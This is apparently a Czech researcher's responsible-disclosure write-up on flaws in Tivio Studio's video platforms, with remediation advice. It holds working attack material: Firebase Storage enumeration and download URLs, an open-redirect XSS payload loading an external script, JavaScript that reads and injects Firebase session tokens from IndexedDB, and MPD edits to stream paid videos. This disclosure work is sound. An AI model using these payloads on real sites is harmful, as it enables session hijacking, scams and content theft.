Důležité: Existují i jiné webové zranitelnosti na které tyto postupy nefungují, nelze například detekovat dle URL adresy. Tyto body se primárně týkají podvodů na uživatele. Při podezření je vždy nejlepší kontaktovat přímo společnost nebo tvůrce.

Doporučení pro tvůrce

Zneplatnění neveřejných odkazů

U některých chyb bylo možné získat zpoplatněný obsah článků/příspěvků. Libovolný uživatel mohl jen prohlížečem (F12) získat obsah těchto článků a získat z nich neveřejné odkazy, které může stále používat.

Doporučení:
• Vytvoření nových neveřejných odkazů v placených příspěvcích
 → V případě Google Docs: Soubor (File) => Vytvořit kopii (Make a copy) a nasdílet nový dokument

Metadata

Při nahrávání videí na platformy třetích stran je dobré mít na paměti, že soubory mohou obsahovat metadata, která mohou prozradit citlivé informace, například jméno autora videa nebo uživatelské jméno v systému. V případě Tivio Studio byly tyto informace dostupné komukoliv, kdo stáhl video z nezabezpečeného Firebase Storage. U tvůrců, kteří si chrání své soukromí na internetu (např. Nic Nevim) mohlo dojít k úniku citlivých informací.

Doporučení:
• Pokud vystupujete pod pseudonymem nebo chcete chránit soukromí sebe nebo svého týmu, doporučuji před nahráním metadata ze souborů odstranit.
 → odstranění metadat pomocí ffmpeg:

ffmpeg -i input.mp4 -map_metadata -1 -c copy output.mp4

Doporučení pro vývojáře

V nahlášených chybách byl často problém u Google Firebase, níže bych chtěl na některé věci upozornit.

Security Rules

Špatně nastavená pravidla pro Firebase byla nejvážnějším problémem u Tivia. Touto chybnou konfigurací bylo možné získat seznam ~16 000 uložených souborů ve Firebase Storage včetně možnosti stažení.

❌ Nezabezpečená konfigurace - možnost číst uživatelská data

Takto mohla vypadat konfigurace u Tivio Studio. Dříve se mohl bucket používat jen pro statické obrázky, ale později se to změnilo a už nedošlo k úpravě bezpečnostních pravidel. Každý uživatel (i nepřihlášený) mohl číst uložené soubory

rules_version = '2';

service firebase.storage {
  match /b/{bucket}/o {
    match /{allPaths=**} {
      allow read: if true;
      allow write: if false;
    }
  }
}

✅ Vhodná oprava - Pouze přihlášený uživatel, který je součásti projektu má možnost zapisovat a číst.

rules_version = '2';

service firebase.storage {
  match /b/{bucket}/o {
    match /{allPaths=**} {
      allow read, write: if request.auth != null;
    }
  }
}

Doporučení:
• Kontrola nastavených Security Rules pro Firebase Storage ve vašem projektu

Více informací:
https://firebase.google.com/docs/firestore/security/insecure-rules,
https://firebase.google.com/docs/rules/basics

Session Hijacking

Firebase Authentication používá na straně klienta jako výchozí úložiště indexedDB, kam se ukládají access tokeny a refresh tokeny. Jedná se o bezpečnostní problém, protože toto umístění je přístupné javascriptem. Z pohledu bezpečnosti jde o stejně zranitelné umístění jako třeba localStorage. V případě nalezení XSS zranitelnosti tak může dojít k ukradení uživatelské session (Session Hijacking).

Doporučení:
• Implementace server-side session managementu pomocí Firebase Admin SDK (createSessionCookie())
 → Ukládání autentizační relace do cookies s atributem HttpOnly, Secure a SameSite=Strict
     (atribut HttpOnly zamezuje číst hodnotu cookies pomocí javascriptu)
• Implementace Content-Security-Policy (CSP) hlavičky
 → Možnost definovat seznam důvěryhodných zdrojů pro načítání skriptů, stylů, obrázků a dalších typů obsahu

Více informací:
https://firebase.google.com/docs/auth/admin/manage-cookies
https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP

Jak jsem postupoval

Tato kapitola by se také dala nazvat jako:
Jak jsem postupoval... aneb když je reportování náročnější než nalezení chyb

V prosinci 2024 jsem telefonicky kontaktoval CEO společnosti Tivio Studio a domluvil jsem se s ním, že v nejbližších dnech budu testovat jejich platformu a následně mu za pár dnů zašlu report na email. Nešlo tedy o formálně sjednaný penetrační test, ale o prověření potenciálních chyb v duchu responsible disclosure.

Při používání stránek dvtv.cz jsem si všiml, že se všem registrovaným uživatelům automaticky vygenerovává RSS odkaz pro podcastové aplikace.

Funguje ten odkaz, i když nemám zaplacené předplatné? Co obsahuje za data po otevření?

RSS jsem v prohlížeči otevřel a bylo tam několik bezplatných rozhovorů.

Zaujala mě tam jedna věc. Všiml jsem si, že všechny odkazy vedou na mp3 soubory až na jednu výjimku. Jeden odkaz obsahoval mp4 s úplně jinou doménou, než všechny ostatní.

RSS by asi mělo být pro podcastové aplikace. Co dělá mp4 video mezi audiem? 🤔

Zkusil jsem ten odkaz otevřít… a začal se mi přehrávat celý videorozhovor.

Toto celé video bylo i zdarma na stránkách DVTV, takže ve výsledku nic divného.

Co dělá ten token na konci té url? Co když ho smažu až k tomu mp4, uvidím pak taky to video? 🤔

Po smazání jsem už video neviděl, ale zobrazily se mi informace jako timeCreated, size, name nebo třeba downloadTokens. Hodnota downloadTokens byla přesně ta, kterou jsem smazal v tom parametru token.

A co stane, když v té URL ještě smažu celý ten "name"?

Zkusil jsem a zobrazilo…

Pochopil jsem, že vidím nějaký seznam nahraných video souborů. A těch videí tam bylo poměrně hodně.

Celkově zde bylo 16 023 videí a 3366 souborů s titulky.

Půjde něco z toho přehrát? 🤔 Vybral jsem nějaké náhodné video a zkusil jsem přesně opačný postup.

Do URL jsem zadal "name" z vypsaného seznamu a místo lomítka / jsem zadal formou URL encoding hodnotu %2F.

https://firebasestorage.googleapis.com/v0/b/tivio-production-videos-input/o/<NAME>

Otevřením jsem opět viděl informace k danému souboru. Zkopíroval jsem hodnotu downloadTokens a vložil ji do parametru token s přidáním "alt=media".

https://firebasestorage.googleapis.com/v0/b/tivio-production-videos-input/o/<NAME>?alt=media&token=<DOWNLOAD_TOKEN>

Otevření fungovalo a mně se začal přehrávat úplně jiný DVTV rozhovor.

Takže já jsem nejenom viděl seznam nahraných souborů, ale já si každé video mohl i stáhnout.

Tivio Studio tak mělo chybné nastavení přístupů ve Firebase Storage.

Seznam nahraných videí byl veřejně dostupný, stačilo jen otevřít tuhle URL:

https://firebasestorage.googleapis.com/v0/b/tivio-production-videos-input/o/

Po otevření zde nebyla najednou všechna videa z tohoto úložiště. Na konci každé stránky byl nextPageToken, kterým bylo možné přejít na další stránku seznamu.

Použitím následující URL se tak dalo stránkovat:

https://firebasestorage.googleapis.com/v0/b/tivio-production-videos-input/o/?pageToken=<NEXT_PAGE_TOKEN>

A tím jsem mohl projít celý bucket tivio-production-videos-input.

Později jsem zjistil, že název (name) byl tvořen takto:

<ID_TVURCE>/<ID_VIDEA>.{mp4|mov}

Při otevření nějakého name jsem v mnoha případech viděl i originální název nahraného souboru. Tím se dalo zjistit, jakého tvůrce ty videa jsou.

Pokud se originální název souboru nezobrazoval, dalo se skrze ID_VIDEA načíst video na Tivio platformě (například https://stargaze.com/videos/<ID_VIDEA>), čímž opět šlo zjistit, jakému tvůrci video patří. Na základě toho pak i bylo možné přiřadit ID konkrétnímu tvůrci.

Ke stažení nebyla jen videa společností a tvůrců, ale byla tam i videa různých placených kurzů. Byla zde videa z kurzu Investiční průvodce a LearnTube.

Tím, že Tivio spravuje videa pro platformu Starmax.tv nebo Kviff.TV Channel, tak ke stažení byly i stovky různých českých a zahraničních filmů.

Na úložiště nahrávali tvůrci své originální soubory, videa tak nebyla nijak komprimovaná.

Soubory byly i včetně metadat. Pomocí nástrojů mediainfo/exiftool/ffmpeg se dalo získat například jméno konkrétního střihače, uživatelské jméno v systému, informace o používaném softwaru pro editaci videa nebo jaké zvukové efekty byly přidány.

Tím dopad nekončil. Velmi problematické bylo, že některá videa ještě ani nebyla zveřejněna. Bylo tedy možné vidět různá videa než byla publikována pro předplatitele. Problematické to asi nejvíce mohlo být pro publicistické pořady, kde mohlo docházet k získání exkluzivních informací z rozhovoru dříve, než vše bylo zveřejněno (DVTV, Čestmír Strakatý).

Kromě toho, bylo možné získat i různá neautorizovaná videa (videa různých verzí). Takže i touto formou zde mohlo docházet k úniku informací, např. nevystřižené části.

Později jsem zjistil, že k odkazu na Firebase Storage se kromě RSS dalo dostat i přes response na spravovaných stránkách. Stačilo otevřít nějaké video, následně zobrazit Developer Tools - Network a v odpovědi u jednoho requestu byl název bucketu nebo dokonce i celý odkaz.

Toto byla první nalezená zranitelnost. Na stránkách DVTV jsem si dále všiml, že dochází k přesměrování na hlavní stránku načtením:

https://www.dvtv.cz/redirect?to=/screens/home

Prvně jsem tedy zkusil nahradit v parametru to jinou cílovou adresu, abych ověřil, jak na to bude server reagovat.

/redirect?to=/screens/home → /redirect?to=//google.com

Otevřením této URL došlo k přesměrování na stránky Googlu, čímž došlo k potvrzení Open Redirect zranitelnosti.

Zkusil jsem následně XSS payload používaný u Open Redirect chyby, tedy javascript:alert(1).

https://www.dvtv.cz/redirect?to=javascript:alert(1)

A po otevření této adresy..

...došlo k zobrazení alertu.

Tivio Studio spravuje stránky pro více firem a tvůrců, vyzkoušel jsem tento payload i na dalších doménách.

A XSS zranitelnost byla i tam.

Takže chyba nebyla jen na stránkách dvtv.cz, ale na mnoha spravovaných webech od Tivio Studio (stargaze.com, hoste.vojtazizka.cz, ukulatehostolu.com, komunita.ondrejkobersky.cz atd.).

Z response webového serveru jsem zjistil, že se nepoužívá hlavička Content-Security-Policy.

Načetl jsem proto externí script v XSS payloadu:

javascript:d=document;s=d.createElement(`script`);s.src=`//example.com`;d.body.appendChild(s);

A vůbec nic se nestalo.

V consoli jsem si všiml tohoto erroru:

Problémem byla dvojitá lomítka, která jsou u externí adresy. Nahradil jsem je proto jiným zápisem.

// → String.fromCharCode(47,47)

Do payloadu jsem chtěl napsat s.src=String.fromCharCode(47,47)+`example.com`, takže jsem ještě symbol + musel enkódovat pro správné fungování v URL.

+ → %2B
s.src=String.fromCharCode(47,47)%2B`example.com`;

Zkusil jsem nyní XSS s externím skriptem obsahující alert(document.domain)...

...a vše fungovalo správně.

Výsledný payload pro načítání externího scriptu vypadal tedy takto:

javascript:d=document;s=d.createElement(`script`);s.src=String.fromCharCode(47,47)%2B`example.com`;d.body.appendChild(s);

Co vlastně mohl útočník pomocí XSS získat?
Pokud by přihlášený uživatel otevřel odkaz od útočníka, tak mohlo dojít k získání jeho registrovaných údajů - jméno, email. Pokud měl uživatel i předplatné, tak šlo získat i zpoplatněný obsah (rozhovory, články, RSS s předplatným).

Pomocí XSS by se však získal jen jednorázový přístup k obsahu. Zaměřil jsem se tedy ještě na získání session uživatele (session hijacking).

Bylo potřeba zjistit, kde se ukládá uživatelská session…

Smazal jsem cookies a nic nestalo, stále jsem byl přihlášen.

Smazal jsem localStorage i sessionStorage a opět nic. Zajímavé... 🤔

Podíval jsem se pořádně do DevTools-Application a objevil jsem, že Google Firebase ukládá všechna session data do IndexedDB, konkrétně do: IndexedDB - firebaseLocalStorageDb - firebaseLocalStorage

S tímto používáním jsem se ještě nikdy nesetkal. Co jsem dohledal, tak se jedná o výchozí "odkládací místo" pro Firebase Authentication. Ukládají se zde všechny tokeny (access/refresh) a i informace o uživateli.

A k mému překvapení je toto umístění nezabezpečené proti čtením javascriptem.

Z pohledu bezpečnosti je to tedy stejné jako klasický localStorage. Trochu mě tímto Google překvapil. Dokonce někteří uživatelé na tento problém poukazují.

Data se ukládala vždy se stejným "Key", což vše zjednodušilo. Pro získání všech hodnot z IndexedDB jsem použil tento script:

let request = indexedDB.open("firebaseLocalStorageDb");

request.onsuccess = function(event) {
    let db = event.target.result;
    let transaction = db.transaction(["firebaseLocalStorage"], "readonly");
    let objectStore = transaction.objectStore("firebaseLocalStorage");
    let getRequest = objectStore.get("firebase:authUser:AIzaSyB02udgMkNLADkLJ_w5YNBMR2VR1WHfusI:[DEFAULT]");

    getRequest.onsuccess = function(event) {
        let jsonData = JSON.stringify(getRequest.result);
        console.log(jsonData);
    };
};

A pro vložení těchto hodnot do IndexedDB jsem použil:

let request = indexedDB.open("firebaseLocalStorageDb", 1);

request.onupgradeneeded = function(event) {
    let db = event.target.result;
    let objectStore = db.createObjectStore("firebaseLocalStorage", { keyPath: "fbase_key" });
};

request.onsuccess = function(event) {
    let db = event.target.result;
    let transaction = db.transaction(["firebaseLocalStorage"], "readwrite");
    let objectStore = transaction.objectStore("firebaseLocalStorage");
    
    let dataToInsert = XXXX; // vložení nových hodnot do IndexedDB

    let addRequest = objectStore.add(dataToInsert);
};

Session Hijacking byl tak dalším dopadem pro XSS.

Celé PoC video je v části "Videa: Možné způsoby zneužití" - Krádež uživatelské relace - Session Hijacking (XSS).

Přemýšlel jsem potom dál, jakým dalším způsobem popsat dopad této zranitelnosti do reportu. Jak i třeba demonstrovat tuto chybu pro edukační účely.

Tím, že XSS zranitelnost byla na mnoha doménách velkých tvůrců a společností, tak jsem se rozhodl pro ukázku dopadu formou změny obsahu stránek. Ačkoliv se jedná o standardní dopad zranitelnosti (vždy lze pomocí javascriptu měnit obsah), v tomto případě se to dalo zneužít k mnoha podvodům, protože se to týkalo mnoha veřejně vystupujících osob/společností.

Na sociálních sítích v dnešní době dochází velmi často k deepfake podvodům se známou osobností odkazující na očividně podvodné stránky. V momentě, kdy by útočník použil spravované Tivio stránky (např. dvtv.cz, ukulatehostolu.com, hoste.vojtazizka.cz), tak mohly mít podvody daleko větší úspěšnost = větší finanční škody a poškození dobrého jména tvůrců. Ze strany tvůrců by pak bylo velmi komplikované vysvětlit, že sice to bylo na jejich stránkách, ale nebyl to jejich obsah.

Útočník mohl využít třeba placených reklam na Youtube nebo placeného příspěvku na Instagramu/Facebooku. Odkaz by vedl na důvěryhodnou stránku, ale obsahující XSS v URL. Každý, kdo by na reklamu klikl, by viděl pozměněný/podvodný obsah - vše na důvěryhodné doméně.

Pro edukační účely jsem proto vytvořil dva příklady, jak toho mohl útočník zneužít. Příklad s falešnou crowdfundingová kampaní a podvodnou investiční platformou.

Ukázky jsem vložil do části "Videa: Možné způsoby zneužití" - Falešná crowdfundingová kampaň, Podvodná investiční platforma.

https://example.cz/redirect?to=javascript:d=document;s=d.createElement(`script`);s.src=String.fromCharCode(47,47)%2B`example.com`;d.body.appendChild(s);

Pro tuto změnu se dají použít dvě možnosti history.replaceState() nebo history.pushState().

history.pushState() vytváří nový záznam v historii prohlížení. Uživatel sice vidí změněnou adresu v adresním řádku, ale má také možnost přejít zpět na předchozí stránku (stránku s XSS payloadem).

Odkaz na Reflected XSS by se v realitě pravděpodobně otevřel jako nová karta a umožnění "Zpět" by nebylo úplně chtěné.

history.replaceState() rovnou změní aktuální záznam v historii. Změní se tím také adresa v adresním řádku, ale tentokrát bez možnosti přejít zpět.

U obou použití ale platí důležité omezení. Uživatel nesmí provést refresh stránky, protože by došlo k načtení URL, která je v adresním řádku → 404 page not found.

Nejvhodněji se tak dalo použít:

history.replaceState(null, '', '/vip-sekce');

Při využití tohoto scriptu v XSS, se po otevření odkazu změní adresní řádek na https://example.cz/vip-sekce, takže by oběť neviděla vůbec nic podezřelého.

Během analýzy Firebase chyby jsem dohledával tvůrce, kterých se chyba týkala a narazil jsem na kurz Vojty Žižky. Ten byl v té době také klientem u Tivio Studio a kurz se jmenoval Investiční průvodce (investicnipruvodce.cz).

V historii Burp Suite jsem si všiml, že právě u tohoto kurzu dochází v odpovědích (response body) ke zveřejnění odkazů na materiály.

K těmto informacím tak mohl přístup kdokoliv, kdo navštívil stránky investicnipruvodce.cz a v prohlížeči otevřel Developer Tools - Network. (Pozn.: Už 2. chyba, která se takto dala zneužít)

V materiálech byly nejen různé odkazy na užitečné projekty, ale také telefonní čísla a emaily na hypoteční poradce, kteří spolupracují s tímto kurzem. Tedy informace, které nejsou jednoduše dohledatelné.

V kombinaci s chybou na Firebase úložišti, tak bylo možné získat kompletní kurz v celkové hodnotě 4780 Kč (videa + materiály).

Tyto tři popsané chyby jsem sepsal a 9.prosince 2024 jsem odeslal report na e-mail CEO Tivio Studio. E-mail mi Ladislav Navrátil potvrdil při prvotním telefonickém hovoru 6. prosince 2024.

V emailu jsem nepožadoval žádnou finanční ani jinou odměnu. Také jsem nenavrhoval žádnou spolupráci. Cílem pouze bylo nahlásit chyby k opravě.

Už následující den jsem si všiml, že došlo k opravě jedné z chyb - Reflected XSS bylo fixnuto. Email jim tedy dorazil a k reportu se jednoznačně dostali.

Jenže dál se nedělo nic…

Čekal jsem týden, dva týdny a stále žádná nová oprava nebo odpověď.

Po měsíci, tedy v lednu jsem si všiml, že Tivio Studio už nemá pod správou investicnipruvodce.cz a pravděpodobně tak došlo k ukončení spolupráce. Začátkem ledna ale ještě nebyla nahlášená chyba opravena.

Kromě toho tak stále nebyla opravena kritická chyba s Firebase Storage.

Není úplně v mém zájmu společnost uhánět a připomínat se. Má "práce" skončila odesláním reportu na kompetentní email. V jejich zájmu by mělo být opravit chybu co nejdříve. V ideálním případě opravit a následně mě o tom i informovat.

Bylo 10. února 2025, uběhly přesně dva měsíce od reportu a stále žádná odpověď na email ani nová oprava.

Už jsem začínal být docela nervózní. Začal jsem plánovat postup, že pokud nedojde k opravě do 90 dnů ("90-day disclosure deadline"), tak pošlu znovu další email s upozorněním. Tentokrát bych dal do kopie i několik tvůrců, abych vytvořil tlak na rychlejší opravu.

Hned následující den 11. února, jsem zjistil, že došlo k opravě Firebase úložiště.

Okamžitě, co jsem si opravy všiml, tak jsem poslal nový email jednateli Tivio Studio. Zapomněli zneplatnit všechny downloadTokeny. Kromě toho také ještě zapomněli omezit přístup k placeným DVTV magazínům.

Během čekání na odpověď jsem retestoval opravy podrobněji. Věděl jsem například, že chyba zobrazující materiály v response u investicnipruvodce.cz nebyla ještě začátkem ledna opravena.

Zaměřil jsem proto znovu na oblast placených materiálů/článků…

Trvalo to jen pár minut a chybu s články jsem opět našel. Tentokrát šlo o trochu jiný požadavek než prvně, ale princip byl stejný.

Otevřel jsem u nějakého placeného článku v prohlížeči "Developer Tools - Network" a podíval se, co se zde posílá.

Všiml jsem si zde požadavku: GET europe-west3-tivio-production.cloudfunctions.net/getRowsInScreen3

A v odpovědi byl opět celý placený obsah.

Žádné předplatné, žádná větší technická znalost. Každý uživatel, který takto otevřel v prohlížeči response u getRowsInScreen3 získal zpoplatněné informace. (Pozn.: Byla to už 3. chyba, která se dala zneužít jen přes "Network" v prohlížeči)

Placené články jsem našel u Ondřeje Koběrského a Vojty Žižky. Pokud i jiný tvůrce používal placené příspěvky, tak s velkou pravděpodobností byl chybou také ovlivněn.

Na stránkách Vojty Žižky byla různá doporučení od jeho hostů. U Ondřeje Koběrského se jednalo o větší typ zneužití.

Ve svých příspěvcích píše o proběhlých akciových nákupech nebo o aktuální situaci na finančních trzích. Také v nich měl různé odkazy na neveřejné Google Sheets dokumenty obsahující vybrané akcie s podrobným popisem. Byly tam informace například na jaké ceně by akcii nakupoval, jestli akcii vlastní nebo jeho vlastní komentář k celé společnosti.

O pár dnů později, 13. února 2025, jsem se bavil s bývalým kolegou z Avastu, s Benjaminem Králem, který mě upozornil na nezabezpečené mp3 odkazy, které Tivio Studio používalo.

O co šlo? V RSS adrese (bez nutnosti předplatného) byl uvedený odkaz na MP3 rozhovor, který obsahoval token (https://api.tiv.io/getRssSource?token=eyJhbGciOiJSUzI1…).

Po otevření toho odkazu došlo k přesměrování na mp3 soubor, který již ověřovací token nepoužíval.

https://api.tiv.io/getRssSource?token=eyJhbGciOiJSUzI1…
302 Found ->
https://ondemand.streaming.tivio.studio/v2/<VIDEO_ID>/qdJUFkdjiuApXuHnhjlL/mp3/192/en.mp3
302 Found ->
https://r2-videos-test.tivio.studio/<VIDEO_ID>/qdJUFkdjiuApXuHnhjlL/mp3/a192/en.mp3

Pro získání celého DVTV rozhovoru ve formátu mp3 tak stačilo znát jeden z posledních dvou odkazů a jen změnit VIDEO_ID. Toto ID je jednoduše dohledatelné přes Developer Tools v prohlížeči. Zobrazuje se jak v consoli, tak i v "Elements".

Během ověření, jestli se chyba s mp3 netýkala i jiného tvůrce, jsem narazil na další novou bezpečnostní chybu.

Objevil jsem způsob, jak zdarma přehrát libovolné video z platformy Stargaze, Starmax.tv a Oktagon.tv.

K přehrání stačilo opět pouze změnit VIDEO_ID v URL adrese, kterou šlo získat v prohlížeči skrze "Developer Tools - Network". (Pozn.: Už to byla 4. chyba, která se dala zneužít jen skrze "Network" v prohlížeči)

Opět nebylo nutné žádné předplatné nebo větší technická znalost. Každý uživatel se k té URL mohl dostat skrze prohlížeč a přehrát libovolné video.

Doplnění: Prý se jednalo o novou produkční chybu. Došlo tedy k domluvě, že ji detailněji popisovat nebudu. Já na chybu narazil 13. února. Jak dlouho chyba byla na produkčním prostředí nedokážu říci - týden to ale bylo určitě. Minimálně týden tak mohl někde sledovat zdarma placený obsah ze Stargaze, Starmax.tv a Oktagon.tv.

Bylo 18. února 2025. Já měl 3 nové zranitelnosti k nahlášení, ale stále jsem nedostal odpověď na email z 9. prosince 2024 ani z 11. února 2025 od Ladislava Navrátila. Co teď? Napsat znovu další email? 🤔

Rozhodl jsem se zkusit jinou cestu.

Napíši na podporu, že chci nahlásit bezpečnostní chyby a požádám je o kompetentní email, kam mohu vše zaslat.

Na email podpory report nikdy nezasílám. Moji povinností při zodpovědném nahlášení je zajistit, aby se informace dostali přímo k zodpovědné osobě (CEO, CTO, CISO, Security Lead/Manager nebo případně security email). Ta, ať si sama rozhodne, komu informace o chybě dále poskytne.

18. února v pozdějších odpoledních hodinách posílám dotaz na email podpory.

Poslední věta „Ideálně na někoho, kdo zajistí rychlou opravu.“ byla velmi klíčová. Nechtěl jsem opět čekat na opravu několik měsíců 🙃.

Následující den, 19. února dopoledne přišla odpověď.

Takovou odpověď jsem opravdu nechtěl. Ne, nejlepší kontakt pro nahlášení bezpečnostních chyb opravdu není support email. Taková zpráva funguje na mě, jak červená na býka.

V odpovědi jsem byl tedy konkrétnější. Email se dal napsat určitě trochu lépe, ale v daný moment jsem začínal být docela zoufalý. Opravdu jsem nechtěl služby supportu, který e-mail otevře, přečte obsah reportu a pak vše přepošle dál.

Chtěl jsem taky potvrzení, že jsou platné emaily na jiné osoby ve společnosti. E-mail na CEO nebyl mezi nimi uveden, ten mi byl potvrzen telefonicky při prvotním hovoru.

A odpověď na můj e-mail ze supportu...

…no, odpověď mi byla absolutně k ničemu.

Já to opravdu vzdávám. Upřímně, v této fázi jsem byl už dost frustrovanej. Člověk chce nahlásit nově nalezené bezpečnostní chyby a ani vlastně nemůže. Teda, teoreticky může, ale už to nebude zodpovědné nahlášení.

Stačilo potvrdit jeden z uvedených emailů. Také by stačilo, kdyby support ten můj e-mail přeposlal na jinou osobu - stejně by to ve výsledku tak dopadlo, kdybych poslal report.

„dostal jsem informaci, že již situaci řešíte přímo s naším CEO.“ - ehm, no nevím, jestli bych použil úplně slovo "řešíte" 🙃. Upravil bych to na: "poslal jsem dva e-maily a ani po dvou měsících jsem nedostal odpověď".

I takto vypadá reálná zkušenost, kdy ve svém volném čase a bez nároku na finanční odměnu člověk řeší nahlášení bezpečnostních chyb pro společnost se čtvrtmiliardovým obratem.

Kdyby Tivio Studio mělo zveřejněný soubor security.txt, mnoho problémů s reportováním by se dalo předejít a proces by pravděpodobně proběhl výrazně rychleji. (Sepisuju tuto část v březnu 2026 a stále security.txt nemají. Ani na svých stránkách nemají uvedený kontakt pro tyto účely. Oboje jim bylo doporučeno.)

Zpět ale k nahlášení chyb…

Uběhlo přibližně 30 minut od poslední zprávy ze supportu a od CEO mi přišla odpověď na můj e-mail.

Minulý týden prý nebyl v kanceláři a nyní mu volal někdo z podpory, že jsem našel nové zranitelnosti. Chtěl se domluvit na osobní schůzku a také probrat možnou spolupráci.

Shrnul jsem tedy celý náročný proces samotného nahlášování a přiložil jsem k tomu i report s nově nalezenými zranitelnostmi.

V odpovědi mi byla opět nabízena schůzka s dohodou o odměně. Bylo mi i vysvětleno, proč mi nepřišla odpověď na zprávu z prosince. V krátkosti: došlo k chybnému odeslání odpovědi na můj e-mail, má emailová adresa nebyla jako příjemce.

Kromě toho ale došlo ke zpochybnění nahlášené zranitelnosti (přístup k videím), prý se k placenému obsahu nemám dostat. Měl jsem vypsat konkrétní čas, kdy k tomu došlo.

Zde je nejdůležitější část mé odpovědi:

Doplním, že v daný moment (19.února odpoledne) pravděpodobně došlo k opravě. Samotná chyba ale existovala ještě ten den dopoledne, fungovalo i den předtím a fungovala i 13. února. I z nahrávky výše lze vidět, že přehrávaná videa byla nahraná v posledních dnech - šlo o nejnovější videa U Kulatého stolu.

„Pokud mě chcete za nálezy nějak odměnit, tak je to zcela dobrovolné a toto rozhodnutí nechám zcela na Vás. Předem chci ale zmínit, že odměna nebude mít žádný vliv na plánované vydání.“

Můžete si všimnout, že rozhodnutí o odměně jsem nechal zcela na nich. Nemají veřejný bug bounty program, takže nelze požadovat nějakou konkrétní částku. V daný moment tak nechávám rozhodnutí na společnosti, ať sama rozhodne, jestli a jak byly nahlášené chyby pro ně užitečné.

V závěru jsem poté naznačil, že by si měli nechat udělat penetrační test co nejdříve, ale ne u mě.

Uběhlo několik dnů a 25. února jsem byl informován od CTO, že došlo k opravám nahlášených chyb. Šel jsem je tedy zkontrolovat…

K opravě přístupných článků došlo, ale oprava MP3 souborů nebyla dostatečná. Stále se k nim dalo dostat bez předplatného. Oprava byla pouze u jedné z dvou URL.

Během retestu jsem však narazil na další novou bezpečnostní chybu.

Při procházení na stargaze.com jsem si všiml, že každý videopřehrávač prvně načte MPD soubor, který následně stahuje video/audio obsah (m4s soubory).

Stáhl jsem si celý tento MPD soubor (bezplatná část u Čestmíra Strakatého) a při offline přehrání se samozřejmě nic nedělo.

Důvodem bylo to, že v tagu <BaseURL> byla jen relativní adresa (./1080/) a já už soubor nepřehrávám z Tivio serveru.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<MPD minBufferTime="PT1.5S" mediaPresentationDuration="PT55M23.2S" profiles="urn:mpeg:dash:profile:isoff-live:2011" type="static" xmlns="urn:mpeg:dash:schema:mpd:2011">
  <UTCTiming schemeIdUri="urn:mpeg:dash:utc:http-head:2014" value="https://streaming.tivio.studio/utils/utc"/>
  <Period id="0" duration="PT55M23.2S" start="PT0S">
    <AdaptationSet bitstreamSwitching="true" contentType="video" id="0" segmentAlignment="true">
      <Representation bandwidth="5000000" codecs="avc1.4D4028" frameRate="25" height="1080" id="1080" mimeType="video/mp4" width="1920">
        <BaseURL>./v1080/</BaseURL>
        <SegmentList duration="49152" timescale="12800">
          <Initialization sourceURL="init.mp4"/>
          <SegmentURL media="1.m4s"/>
          <SegmentURL media="2.m4s"/>
          <SegmentURL media="3.m4s"/>
          <SegmentURL media="4.m4s"/>
          ...

Podíval jsem se do Developer Tools-Network a zkopíroval adresu odkud se načítají ty m4s soubory. Přidal jsem ji do staženého MPD souboru do části <BaseURL>, uložil a spustil.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<MPD minBufferTime="PT1.5S" mediaPresentationDuration="PT55M23.2S" profiles="urn:mpeg:dash:profile:isoff-live:2011" type="static" xmlns="urn:mpeg:dash:schema:mpd:2011">
  <UTCTiming schemeIdUri="urn:mpeg:dash:utc:http-head:2014" value="https://streaming.tivio.studio/utils/utc"/>
  <Period id="0" duration="PT55M23.2S" start="PT0S">
    <AdaptationSet bitstreamSwitching="true" contentType="video" id="0" segmentAlignment="true">
      <Representation bandwidth="5000000" codecs="avc1.4D4028" frameRate="25" height="1080" id="1080" mimeType="video/mp4" width="1920">
        <BaseURL>https://ondemand.streaming.tivio.studio/v2/ID_VIDEA/ID_TVURCE/42069/v1080/</BaseURL>
        <SegmentList duration="49152" timescale="12800">
          <Initialization sourceURL="init.mp4"/>
          <SegmentURL media="1.m4s"/>
          <SegmentURL media="2.m4s"/>
          <SegmentURL media="3.m4s"/>
          <SegmentURL media="4.m4s"/>
          ...

Video už šlo poté přehrát.

V té URL jsem si všiml, že se opět používá princip ID tvůrce a ID videa. Oba údaje se zobrazovaly buď v consoli nebo v Developer Tools-Elements.

ID Tvůrce jsem nechal stejné a jen jsem vyměnil ID videa. Uložil, spustil a...

…začalo se mi přehrávat celé, jinak zpoplatněné video.

Získal jsem tak opět přístup k mnoha placeným videím mnoha tvůrců. Chyba byla tentokrát v chybějícím autentizačním tokenu v MPD souborech, konkrétně v BaseURL odkaze.

MPD soubor definuje délku videa/audia pomocí tzv. segmentů. Originální stažený MPD soubor patřil bezplatné části, která měla jen několik minut. Pokud jsem chtěl přehrát celé zpoplatněné video, tak bylo nutné délku opravit. Vytvořil jsem si proto univerzální testovací soubor s nastavenou délkou na 4 hodiny a 16 min.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<MPD minBufferTime="PT1.5S" mediaPresentationDuration="PT55M23.2S" profiles="urn:mpeg:dash:profile:isoff-live:2011" type="static" xmlns="urn:mpeg:dash:schema:mpd:2011">
  <UTCTiming schemeIdUri="urn:mpeg:dash:utc:http-head:2014" value="https://streaming.tivio.studio/utils/utc"/>
  <Period id="0" duration="PT55M23.2S" start="PT0S">
    <AdaptationSet bitstreamSwitching="true" contentType="video" id="0" segmentAlignment="true">
      <Representation bandwidth="5000000" codecs="avc1.4D4028" frameRate="25" height="1080" id="1080" mimeType="video/mp4" width="1920">
        <BaseURL>https://ondemand.streaming.tivio.studio/v2/ID_VIDEA/ID_TVURCE/42069/v1080/</BaseURL>
        <SegmentList duration="49152" timescale="12800">
          <Initialization sourceURL="init.mp4"/>
          <SegmentURL media="1.m4s"/>
          <SegmentURL media="2.m4s"/>
          <SegmentURL media="3.m4s"/>
          <SegmentURL media="4.m4s"/>
          ...
          <SegmentURL media="3998.m4s"/>
          <SegmentURL media="3999.m4s"/>
          <SegmentURL media="4000.m4s"/>

Celková délka videa = Počet <SegmentURL media="X.m4s"/> * (délka segmentu)
Celková délka videa = Počet <SegmentURL media="X.m4s"/> * (duration / timescale)
Celková délka videa = 4000 * (49152/12800)
Celková délka videa = 15 360 sec = 4 hod 16 min

